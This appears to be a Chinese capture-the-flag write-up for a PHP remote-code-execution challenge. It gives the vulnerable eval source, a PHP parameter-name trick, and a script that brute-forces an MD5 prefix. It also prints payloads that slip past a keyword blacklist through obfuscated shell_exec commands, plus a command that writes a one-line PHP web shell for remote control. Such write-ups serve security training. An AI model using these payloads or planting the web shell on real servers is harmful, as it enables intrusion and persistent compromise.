好久没写了。今天儿弄一个rce
题很直接,好久没这么直白的题了,看源码
- highlight_file(__FILE__);
- if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
- $password=md5($_POST['password']);
- $code=$_POST['e_v.a.l'];
- if(substr($password,0,6)==="c4d038"){
- if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
- eval($code);
- }
- }
- }
这题不难,一共三个考点。
1.非法参数
e_a.v.l是非法参数,它会自动被替换为e_a_v_l。这里使用 e[a.v.l传参,中括号会被替换为下划线,而后边的.会被忽略,则不被替换。
2.密码md5
md5前6位是c4d038,上脚本,结果是114514,结果好臭。
- import hashlib
- for i in range(1,10000000000000):
- m=hashlib.md5(str(i).encode()).hexdigest()
- if m[0:6]=='c4d038':
- print(i)
- break
3.过滤了关键字
3.1 使用管道符读取结果
- 1.shell_exec('l\s+/|tee+a'); //查看根目录文件并保存至a
- 2.shell_exec('ca""t+/fl*|tee+b'); //读取flag并保存至b
执行命令后直接访问a和b即可
3.2 写入木马(+是bp上空格代替所用)
1.shell_exec('echo+"=eval(\$_POST[1]);?>"+>+1.php');
拿蚁剑连接1.php即可。